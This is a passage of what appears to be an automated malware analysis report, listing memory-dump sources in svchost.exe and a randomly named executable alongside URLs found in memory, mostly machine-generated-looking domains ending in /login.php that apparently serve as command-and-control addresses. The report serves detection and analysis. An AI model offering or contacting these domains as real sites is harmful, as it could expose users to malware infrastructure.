PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pufygug.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361263640.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361214474.0000000003356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pufylul.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2184899677.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388042380.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.0000000000802000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.0000000001363000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2856769526.0000000008FC3000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2676238100.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2875818807.00000000091FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://pufymoq.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pufypeg.com/login.php
Source: svchost.exe, 00000002.00000003.2757808782.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363891080.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2809409371.00000000040ED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364207806.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2814428917.00000000040FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pufyweq.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746888339.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2829874698.000000000084D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pufyxov.com/login.php
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310815345.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pufyxug.com/login.php
Source: svchost.exe, 00000002.00000002.3418118048.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3418889094.000000000335E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3419128942.000000000336B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3278908147.000000000335C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2927397659.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3406954551.0000000000812000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3279511546.0000000003369000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928459922.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3428117276.00000000092CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pufyxyp.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pujybig.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3407860513.0000000000826000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pujycil.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pujycyp.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pujycyp.com/login.phpB
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pujyduv.com/login.php
Source: svchost.exe, 00000002.00000003.2344956997.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341852646.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344054756.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pujygaq.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pujygug.com/login.php
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pujypal.com/login.php
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310815345.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pujypup.com/login.php
Source: svchost.exe, 00000002.00000003.2329963433.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328865580.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329926664.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328162774.0000000003315000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pujyteq.com/http://ganyvoz.com/
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2913582701.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pujytug.com/login.php
Source: svchost.exe, 00000002.00000003.2729337658.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361263640.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364207806.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2735954545.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pumybuq.com/login.php
Source: svchost.exe, 00000002.00000003.2329963433.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328865580.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329926664.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328162774.0000000003315000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pumycug.com/
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pumyjev.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2386784820.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2385120826.00000000033EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pumyjip.com/login.php
Source: svchost.exe, 00000002.00000003.2667584330.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pumymap.com/http://pumymap.com/http://qexyfuq.com/
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pumymap.com/login.php
Source: svchost.exe, 00000002.00000003.2498726255.000000000085D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pumymuv.com/
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311968303.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310767470.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pumymuv.com/login.php
Source: svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347450056.000000000338B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pumywug.com/
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pumywug.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336882213.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pumyxep.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2386784820.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2385120826.00000000033EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2649196751.00000000091F7000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D72000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.0000000008682000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093A5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://pumyxiv.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pupyboq.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376002854.000000000923B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pupycop.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pupycuv.com/login.php
Source: svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375772840.0000000003361000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381004146.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376920856.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pupydev.com/login.php
Source: svchost.exe, 00000002.00000003.2329963433.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328865580.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329926664.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2546812858.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328162774.0000000003315000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pupygel.com/
Source: svchost.exe, 00000002.00000003.2329963433.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328865580.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329926664.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328162774.0000000003315000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pupyjuv.com/http://vonybat.com/
Source: svchost.exe, 00000002.00000003.2498726255.000000000085D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pupylaq.com/
Source: svchost.exe, 00000002.00000003.2509683984.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310815345.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2506997946.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pupylaq.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pupylug.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pupypep.com/login.php
